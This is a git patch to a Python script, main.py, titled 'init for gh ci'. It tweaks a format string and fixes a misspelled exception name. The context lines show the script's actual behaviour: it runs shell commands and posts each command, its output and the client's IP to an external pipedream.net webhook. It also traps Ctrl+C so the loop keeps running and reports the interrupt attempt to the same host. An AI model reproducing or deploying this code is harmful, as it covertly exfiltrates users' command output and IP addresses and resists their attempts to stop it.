From 9eed6f37e10c73bd2c9f13bf10c778d1191f8393 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 16 Aug 2023 09:07:01 +0800 Subject: init for gh ci --- main.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index eff646c..c698c1a 100644 --- a/main.py +++ b/main.py @@ -65,7 +65,7 @@ while True: cmdout = system(command, shell=True).decode() if cmdout != "": try: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}") except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") @@ -90,6 +90,6 @@ while True: except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") - except KeyyboardInerrupt: + except KeyboardInterrupt: continue continue -- cgit v1.2.3